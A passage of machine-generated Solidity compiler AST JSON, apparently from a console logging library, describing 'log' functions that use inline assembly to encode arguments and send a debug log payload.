10:22"},{"assignments":[45298],"declarations":[{"constant":false,"id":45298,"mutability":"mutable","name":"m2","nameLocation":"354300:2:22","nodeType":"VariableDeclaration","scope":45319,"src":"354292:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45297,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354292:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45299,"nodeType":"VariableDeclarationStatement","src":"354292:10:22"},{"assignments":[45301],"declarations":[{"constant":false,"id":45301,"mutability":"mutable","name":"m3","nameLocation":"354320:2:22","nodeType":"VariableDeclaration","scope":45319,"src":"354312:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45300,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354312:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45302,"nodeType":"VariableDeclarationStatement","src":"354312:10:22"},{"assignments":[45304],"declarations":[{"constant":false,"id":45304,"mutability":"mutable","name":"m4","nameLocation":"354340:2:22","nodeType":"VariableDeclaration","scope":45319,"src":"354332:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45303,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354332:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45305,"nodeType":"VariableDeclarationStatement","src":"354332:10:22"},{"assignments":[45307],"declarations":[{"constant":false,"id":45307,"mutability":"mutable","name":"m5","nameLocation":"354360:2:22","nodeType":"VariableDeclaration","scope":45319,"src":"354352:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45306,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354352:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45308,"nodeType":"VariableDeclarationStatement","src":"354352:10:22"},{"assignments":[45310],"declarations":[{"constant":false,"id":45310,"mutability":"mutable","name":"m6","nameLocation":"354380:2:22","nodeType":"VariableDeclaration","scope":45319,"src":"354372:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45309,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354372:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45311,"nodeType":"VariableDeclarationStatement","src":"354372:10:22"},{"AST":{"nativeSrc":"354401:828:22","nodeType":"YulBlock","src":"354401:828:22","statements":[{"body":{"nativeSrc":"354444:313:22","nodeType":"YulBlock","src":"354444:313:22","statements":[{"nativeSrc":"354462:15:22","nodeType":"YulVariableDeclaration","src":"354462:15:22","value":{"kind":"number","nativeSrc":"354476:1:22","nodeType":"YulLiteral","src":"354476:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"354466:6:22","nodeType":"YulTypedName","src":"354466:6:22","type":""}]},{"body":{"nativeSrc":"354547:40:22","nodeType":"YulBlock","src":"354547:40:22","statements":[{"body":{"nativeSrc":"354576:9:22","nodeType":"YulBlock","src":"354576:9:22","statements":[{"nativeSrc":"354578:5:22","nodeType":"YulBreak","src":"354578:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"354564:6:22","nodeType":"YulIdentifier","src":"354564:6:22"},{"name":"w","nativeSrc":"354572:1:22","nodeType":"YulIdentifier","src":"354572:1:22"}],"functionName":{"name":"byte","nativeSrc":"354559:4:22","nodeType":"YulIdentifier","src":"354559:4:22"},"nativeSrc":"354559:15:22","nodeType":"YulFunctionCall","src":"354559:15:22"}],"functionName":{"name":"iszero","nativeSrc":"354552:6:22","nodeType":"YulIdentifier","src":"354552:6:22"},"nativeSrc":"354552:23:22","nodeType":"YulFunctionCall","src":"354552:23:22"},"nativeSrc":"354549:36:22","nodeType":"YulIf","src":"354549:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"354504:6:22","nodeType":"YulIdentifier","src":"354504:6:22"},{"kind":"number","nativeSrc":"354512:4:22","nodeType":"YulLiteral","src":"354512:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"354501:2:22","nodeType":"YulIdentifier","src":"354501:2:22"},"nativeSrc":"354501:16:22","nodeType":"YulFunctionCall","src":"354501:16:22"},"nativeSrc":"354494:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"354518:28:22","nodeType":"YulBlock","src":"354518:28:22","statements":[{"nativeSrc":"354520:24:22","nodeType":"YulAssignment","src":"354520:24:22","value":{"arguments":[{"name":"length","nativeSrc":"354534:6:22","nodeType":"YulIdentifier","src":"354534:6:22"},{"kind":"number","nativeSrc":"354542:1:22","nodeType":"YulLiteral","src":"354542:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"354530:3:22","nodeType":"YulIdentifier","src":"354530:3:22"},"nativeSrc":"354530:14:22","nodeType":"YulFunctionCall","src":"354530:14:22"},"variableNames":[{"name":"length","nativeSrc":"354520:6:22","nodeType":"YulIdentifier","src":"354520:6:22"}]}]},"pre":{"nativeSrc":"354498:2:22","nodeType":"YulBlock","src":"354498:2:22","statements":[]},"src":"354494:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"354611:3:22","nodeType":"YulIdentifier","src":"354611:3:22"},{"name":"length","nativeSrc":"354616:6:22","nodeType":"YulIdentifier","src":"354616:6:22"}],"functionName":{"name":"mstore","nativeSrc":"354604:6:22","nodeType":"YulIdentifier","src":"354604:6:22"},"nativeSrc":"354604:19:22","nodeType":"YulFunctionCall","src":"354604:19:22"},"nativeSrc":"354604:19:22","nodeType":"YulExpressionStatement","src":"354604:19:22"},{"nativeSrc":"354640:37:22","nodeType":"YulVariableDeclaration","src":"354640:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"354657:3:22","nodeType":"YulLiteral","src":"354657:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"354666:1:22","nodeType":"YulLiteral","src":"354666:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"354669:6:22","nodeType":"YulIdentifier","src":"354669:6:22"}],"functionName":{"name":"shl","nativeSrc":"354662:3:22","nodeType":"YulIdentifier","src":"354662:3:22"},"nativeSrc":"354662:14:22","nodeType":"YulFunctionCall","src":"354662:14:22"}],"functionName":{"name":"sub","nativeSrc":"354653:3:22","nodeType":"YulIdentifier","src":"354653:3:22"},"nativeSrc":"354653:24:22","nodeType":"YulFunctionCall","src":"354653:24:22"},"variables":[{"name":"shift","nativeSrc":"354644:5:22","nodeType":"YulTypedName","src":"354644:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"354705:3:22","nodeType":"YulIdentifier","src":"354705:3:22"},{"kind":"number","nativeSrc":"354710:4:22","nodeType":"YulLiteral","src":"354710:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"354701:3:22","nodeType":"YulIdentifier","src":"354701:3:22"},"nativeSrc":"354701:14:22","nodeType":"YulFunctionCall","src":"354701:14:22"},{"arguments":[{"name":"shift","nativeSrc":"354721:5:22","nodeType":"YulIdentifier","src":"354721:5:22"},{"arguments":[{"name":"shift","nativeSrc":"354732:5:22","nodeType":"YulIdentifier","src":"354732:5:22"},{"name":"w","nativeSrc":"354739:1:22","nodeType":"YulIdentifier","src":"354739:1:22"}],"functionName":{"name":"shr","nativeSrc":"354728:3:22","nodeType":"YulIdentifier","src":"354728:3:22"},"nativeSrc":"354728:13:22","nodeType":"YulFunctionCall","src":"354728:13:22"}],"functionName":{"name":"shl","nativeSrc":"354717:3:22","nodeType":"YulIdentifier","src":"354717:3:22"},"nativeSrc":"354717:25:22","nodeType":"YulFunctionCall","src":"354717:25:22"}],"functionName":{"name":"mstore","nativeSrc":"354694:6:22","nodeType":"YulIdentifier","src":"354694:6:22"},"nativeSrc":"354694:49:22","nodeType":"YulFunctionCall","src":"354694:49:22"},"nativeSrc":"354694:49:22","nodeType":"YulExpressionStatement","src":"354694:49:22"}]},"name":"writeString","nativeSrc":"354415:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"354436:3:22","nodeType":"YulTypedName","src":"354436:3:22","type":""},{"name":"w","nativeSrc":"354441:1:22","nodeType":"YulTypedName","src":"354441:1:22","type":""}],"src":"354415:342:22"},{"nativeSrc":"354770:17:22","nodeType":"YulAssignment","src":"354770:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"354782:4:22","nodeType":"YulLiteral","src":"354782:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"354776:5:22","nodeType":"YulIdentifier","src":"354776:5:22"},"nativeSrc":"354776:11:22","nodeType":"YulFunctionCall","src":"354776:11:22"},"variableNames":[{"name":"m0","nativeSrc":"354770:2:22","nodeType":"YulIdentifier","src":"354770:2:22"}]},{"nativeSrc":"354800:17:22","nodeType":"YulAssignment","src":"354800:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"354812:4:22","nodeType":"YulLiteral","src":"354812:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"354806:5:22","nodeType":"YulIdentifier","src":"354806:5:22"},"nativeSrc":"354806:11:22","nodeType":"YulFunctionCall","src":"354806:11:22"},"variableNames":[{"name":"m1","nativeSrc":"354800:2:22","nodeType":"YulIdentifier","src":"354800:2:22"}]},{"nativeSrc":"354830:17:22","nodeType":"YulAssignment","src":"354830:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"354842:4:22","nodeType":"YulLiteral","src":"354842:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"354836:5:22","nodeType":"YulIdentifier","src":"354836:5:22"},"nativeSrc":"354836:11:22","nodeType":"YulFunctionCall","src":"354836:11:22"},"variableNames":[{"name":"m2","nativeSrc":"354830:2:22","nodeType":"YulIdentifier","src":"354830:2:22"}]},{"nativeSrc":"354860:17:22","nodeType":"YulAssignment","src":"354860:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"354872:4:22","nodeType":"YulLiteral","src":"354872:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"354866:5:22","nodeType":"YulIdentifier","src":"354866:5:22"},"nativeSrc":"354866:11:22","nodeType":"YulFunctionCall","src":"354866:11:22"},"variableNames":[{"name":"m3","nativeSrc":"354860:2:22","nodeType":"YulIdentifier","src":"354860:2:22"}]},{"nativeSrc":"354890:17:22","nodeType":"YulAssignment","src":"354890:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"354902:4:22","nodeType":"YulLiteral","src":"354902:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"354896:5:22","nodeType":"YulIdentifier","src":"354896:5:22"},"nativeSrc":"354896:11:22","nodeType":"YulFunctionCall","src":"354896:11:22"},"variableNames":[{"name":"m4","nativeSrc":"354890:2:22","nodeType":"YulIdentifier","src":"354890:2:22"}]},{"nativeSrc":"354920:17:22","nodeType":"YulAssignment","src":"354920:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"354932:4:22","nodeType":"YulLiteral","src":"354932:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"354926:5:22","nodeType":"YulIdentifier","src":"354926:5:22"},"nativeSrc":"354926:11:22","nodeType":"YulFunctionCall","src":"354926:11:22"},"variableNames":[{"name":"m5","nativeSrc":"354920:2:22","nodeType":"YulIdentifier","src":"354920:2:22"}]},{"nativeSrc":"354950:17:22","nodeType":"YulAssignment","src":"354950:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"354962:4:22","nodeType":"YulLiteral","src":"354962:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"354956:5:22","nodeType":"YulIdentifier","src":"354956:5:22"},"nativeSrc":"354956:11:22","nodeType":"YulFunctionCall","src":"354956:11:22"},"variableNames":[{"name":"m6","nativeSrc":"354950:2:22","nodeType":"YulIdentifier","src":"354950:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355050:4:22","nodeType":"YulLiteral","src":"355050:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"355056:10:22","nodeType":"YulLiteral","src":"355056:10:22","type":"","value":"0xe0e95b98"}],"functionName":{"name":"mstore","nativeSrc":"355043:6:22","nodeType":"YulIdentifier","src":"355043:6:22"},"nativeSrc":"355043:24:22","nodeType":"YulFunctionCall","src":"355043:24:22"},"nativeSrc":"355043:24:22","nodeType":"YulExpressionStatement","src":"355043:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355087:4:22","nodeType":"YulLiteral","src":"355087:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"355093:4:22","nodeType":"YulLiteral","src":"355093:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"355080:6:22","nodeType":"YulIdentifier","src":"355080:6:22"},"nativeSrc":"355080:18:22","nodeType":"YulFunctionCall","src":"355080:18:22"},"nativeSrc":"355080:18:22","nodeType":"YulExpressionStatement","src":"355080:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355118:4:22","nodeType":"YulLiteral","src":"355118:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"355124:2:22","nodeType":"YulIdentifier","src":"355124:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355111:6:22","nodeType":"YulIdentifier","src":"355111:6:22"},"nativeSrc":"355111:16:22","nodeType":"YulFunctionCall","src":"355111:16:22"},"nativeSrc":"355111:16:22","nodeType":"YulExpressionStatement","src":"355111:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355147:4:22","nodeType":"YulLiteral","src":"355147:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"355153:2:22","nodeType":"YulIdentifier","src":"355153:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355140:6:22","nodeType":"YulIdentifier","src":"355140:6:22"},"nativeSrc":"355140:16:22","nodeType":"YulFunctionCall","src":"355140:16:22"},"nativeSrc":"355140:16:22","nodeType":"YulExpressionStatement","src":"355140:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355176:4:22","nodeType":"YulLiteral","src":"355176:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"355182:2:22","nodeType":"YulIdentifier","src":"355182:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355169:6:22","nodeType":"YulIdentifier","src":"355169:6:22"},"nativeSrc":"355169:16:22","nodeType":"YulFunctionCall","src":"355169:16:22"},"nativeSrc":"355169:16:22","nodeType":"YulExpressionStatement","src":"355169:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355210:4:22","nodeType":"YulLiteral","src":"355210:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"355216:2:22","nodeType":"YulIdentifier","src":"355216:2:22"}],"functionName":{"name":"writeString","nativeSrc":"355198:11:22","nodeType":"YulIdentifier","src":"355198:11:22"},"nativeSrc":"355198:21:22","nodeType":"YulFunctionCall","src":"355198:21:22"},"nativeSrc":"355198:21:22","nodeType":"YulExpressionStatement","src":"355198:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45292,"isOffset":false,"isSlot":false,"src":"354770:2:22","valueSize":1},{"declaration":45295,"isOffset":false,"isSlot":false,"src":"354800:2:22","valueSize":1},{"declaration":45298,"isOffset":false,"isSlot":false,"src":"354830:2:22","valueSize":1},{"declaration":45301,"isOffset":false,"isSlot":false,"src":"354860:2:22","valueSize":1},{"declaration":45304,"isOffset":false,"isSlot":false,"src":"354890:2:22","valueSize":1},{"declaration":45307,"isOffset":false,"isSlot":false,"src":"354920:2:22","valueSize":1},{"declaration":45310,"isOffset":false,"isSlot":false,"src":"354950:2:22","valueSize":1},{"declaration":45282,"isOffset":false,"isSlot":false,"src":"355216:2:22","valueSize":1},{"declaration":45284,"isOffset":false,"isSlot":false,"src":"355124:2:22","valueSize":1},{"declaration":45286,"isOffset":false,"isSlot":false,"src":"355153:2:22","valueSize":1},{"declaration":45288,"isOffset":false,"isSlot":false,"src":"355182:2:22","valueSize":1}],"id":45312,"nodeType":"InlineAssembly","src":"354392:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45314,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"355254:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45315,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"355260:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45313,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"355238:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"355238:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45317,"nodeType":"ExpressionStatement","src":"355238:27:22"},{"AST":{"nativeSrc":"355284:214:22","nodeType":"YulBlock","src":"355284:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"355305:4:22","nodeType":"YulLiteral","src":"355305:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"355311:2:22","nodeType":"YulIdentifier","src":"355311:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355298:6:22","nodeType":"YulIdentifier","src":"355298:6:22"},"nativeSrc":"355298:16:22","nodeType":"YulFunctionCall","src":"355298:16:22"},"nativeSrc":"355298:16:22","nodeType":"YulExpressionStatement","src":"355298:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355334:4:22","nodeType":"YulLiteral","src":"355334:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"355340:2:22","nodeType":"YulIdentifier","src":"355340:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355327:6:22","nodeType":"YulIdentifier","src":"355327:6:22"},"nativeSrc":"355327:16:22","nodeType":"YulFunctionCall","src":"355327:16:22"},"nativeSrc":"355327:16:22","nodeType":"YulExpressionStatement","src":"355327:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355363:4:22","nodeType":"YulLiteral","src":"355363:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"355369:2:22","nodeType":"YulIdentifier","src":"355369:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355356:6:22","nodeType":"YulIdentifier","src":"355356:6:22"},"nativeSrc":"355356:16:22","nodeType":"YulFunctionCall","src":"355356:16:22"},"nativeSrc":"355356:16:22","nodeType":"YulExpressionStatement","src":"355356:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355392:4:22","nodeType":"YulLiteral","src":"355392:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"355398:2:22","nodeType":"YulIdentifier","src":"355398:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355385:6:22","nodeType":"YulIdentifier","src":"355385:6:22"},"nativeSrc":"355385:16:22","nodeType":"YulFunctionCall","src":"355385:16:22"},"nativeSrc":"355385:16:22","nodeType":"YulExpressionStatement","src":"355385:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355421:4:22","nodeType":"YulLiteral","src":"355421:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"355427:2:22","nodeType":"YulIdentifier","src":"355427:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355414:6:22","nodeType":"YulIdentifier","src":"355414:6:22"},"nativeSrc":"355414:16:22","nodeType":"YulFunctionCall","src":"355414:16:22"},"nativeSrc":"355414:16:22","nodeType":"YulExpressionStatement","src":"355414:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355450:4:22","nodeType":"YulLiteral","src":"355450:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"355456:2:22","nodeType":"YulIdentifier","src":"355456:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355443:6:22","nodeType":"YulIdentifier","src":"355443:6:22"},"nativeSrc":"355443:16:22","nodeType":"YulFunctionCall","src":"355443:16:22"},"nativeSrc":"355443:16:22","nodeType":"YulExpressionStatement","src":"355443:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"355479:4:22","nodeType":"YulLiteral","src":"355479:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"355485:2:22","nodeType":"YulIdentifier","src":"355485:2:22"}],"functionName":{"name":"mstore","nativeSrc":"355472:6:22","nodeType":"YulIdentifier","src":"355472:6:22"},"nativeSrc":"355472:16:22","nodeType":"YulFunctionCall","src":"355472:16:22"},"nativeSrc":"355472:16:22","nodeType":"YulExpressionStatement","src":"355472:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45292,"isOffset":false,"isSlot":false,"src":"355311:2:22","valueSize":1},{"declaration":45295,"isOffset":false,"isSlot":false,"src":"355340:2:22","valueSize":1},{"declaration":45298,"isOffset":false,"isSlot":false,"src":"355369:2:22","valueSize":1},{"declaration":45301,"isOffset":false,"isSlot":false,"src":"355398:2:22","valueSize":1},{"declaration":45304,"isOffset":false,"isSlot":false,"src":"355427:2:22","valueSize":1},{"declaration":45307,"isOffset":false,"isSlot":false,"src":"355456:2:22","valueSize":1},{"declaration":45310,"isOffset":false,"isSlot":false,"src":"355485:2:22","valueSize":1}],"id":45318,"nodeType":"InlineAssembly","src":"355275:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"354179:3:22","parameters":{"id":45289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45282,"mutability":"mutable","name":"p0","nameLocation":"354191:2:22","nodeType":"VariableDeclaration","scope":45320,"src":"354183:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45281,"name":"bytes32","nodeType":"ElementaryTypeName","src":"354183:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45284,"mutability":"mutable","name":"p1","nameLocation":"354203:2:22","nodeType":"VariableDeclaration","scope":45320,"src":"354195:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45283,"name":"uint256","nodeType":"ElementaryTypeName","src":"354195:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45286,"mutability":"mutable","name":"p2","nameLocation":"354212:2:22","nodeType":"VariableDeclaration","scope":45320,"src":"354207:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45285,"name":"bool","nodeType":"ElementaryTypeName","src":"354207:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":45288,"mutability":"mutable","name":"p3","nameLocation":"354224:2:22","nodeType":"VariableDeclaration","scope":45320,"src":"354216:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45287,"name":"address","nodeType":"ElementaryTypeName","src":"354216:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"354182:45:22"},"returnParameters":{"id":45290,"nodeType":"ParameterList","parameters":[],"src":"354242:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45360,"nodeType":"FunctionDefinition","src":"355510:1328:22","nodes":[],"body":{"id":45359,"nodeType":"Block","src":"355579:1259:22","nodes":[],"statements":[{"assignments":[45332],"declarations":[{"constant":false,"id":45332,"mutability":"mutable","name":"m0","nameLocation":"355597:2:22","nodeType":"VariableDeclaration","scope":45359,"src":"355589:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45331,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355589:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45333,"nodeType":"VariableDeclarationStatement","src":"355589:10:22"},{"assignments":[45335],"declarations":[{"constant":false,"id":45335,"mutability":"mutable","name":"m1","nameLocation":"355617:2:22","nodeType":"VariableDeclaration","scope":45359,"src":"355609:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45334,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355609:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45336,"nodeType":"VariableDeclarationStatement","src":"355609:10:22"},{"assignments":[45338],"declarations":[{"constant":false,"id":45338,"mutability":"mutable","name":"m2","nameLocation":"355637:2:22","nodeType":"VariableDeclaration","scope":45359,"src":"355629:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45337,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355629:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45339,"nodeType":"VariableDeclarationStatement","src":"355629:10:22"},{"assignments":[45341],"declarations":[{"constant":false,"id":45341,"mutability":"mutable","name":"m3","nameLocation":"355657:2:22","nodeType":"VariableDeclaration","scope":45359,"src":"355649:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45340,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355649:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45342,"nodeType":"VariableDeclarationStatement","src":"355649:10:22"},{"assignments":[45344],"declarations":[{"constant":false,"id":45344,"mutability":"mutable","name":"m4","nameLocation":"355677:2:22","nodeType":"VariableDeclaration","scope":45359,"src":"355669:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45343,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355669:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45345,"nodeType":"VariableDeclarationStatement","src":"355669:10:22"},{"assignments":[45347],"declarations":[{"constant":false,"id":45347,"mutability":"mutable","name":"m5","nameLocation":"355697:2:22","nodeType":"VariableDeclaration","scope":45359,"src":"355689:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45346,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355689:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45348,"nodeType":"VariableDeclarationStatement","src":"355689:10:22"},{"assignments":[45350],"declarations":[{"constant":false,"id":45350,"mutability":"mutable","name":"m6","nameLocation":"355717:2:22","nodeType":"VariableDeclaration","scope":45359,"src":"355709:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45349,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355709:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45351,"nodeType":"VariableDeclarationStatement","src":"355709:10:22"},{"AST":{"nativeSrc":"355738:825:22","nodeType":"YulBlock","src":"355738:825:22","statements":[{"body":{"nativeSrc":"355781:313:22","nodeType":"YulBlock","src":"355781:313:22","statements":[{"nativeSrc":"355799:15:22","nodeType":"YulVariableDeclaration","src":"355799:15:22","value":{"kind":"number","nativeSrc":"355813:1:22","nodeType":"YulLiteral","src":"355813:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"355803:6:22","nodeType":"YulTypedName","src":"355803:6:22","type":""}]},{"body":{"nativeSrc":"355884:40:22","nodeType":"YulBlock","src":"355884:40:22","statements":[{"body":{"nativeSrc":"355913:9:22","nodeType":"YulBlock","src":"355913:9:22","statements":[{"nativeSrc":"355915:5:22","nodeType":"YulBreak","src":"355915:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"355901:6:22","nodeType":"YulIdentifier","src":"355901:6:22"},{"name":"w","nativeSrc":"355909:1:22","nodeType":"YulIdentifier","src":"355909:1:22"}],"functionName":{"name":"byte","nativeSrc":"355896:4:22","nodeType":"YulIdentifier","src":"355896:4:22"},"nativeSrc":"355896:15:22","nodeType":"YulFunctionCall","src":"355896:15:22"}],"functionName":{"name":"iszero","nativeSrc":"355889:6:22","nodeType":"YulIdentifier","src":"355889:6:22"},"nativeSrc":"355889:23:22","nodeType":"YulFunctionCall","src":"355889:23:22"},"nativeSrc":"355886:36:22","nodeType":"YulIf","src":"355886:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"355841:6:22"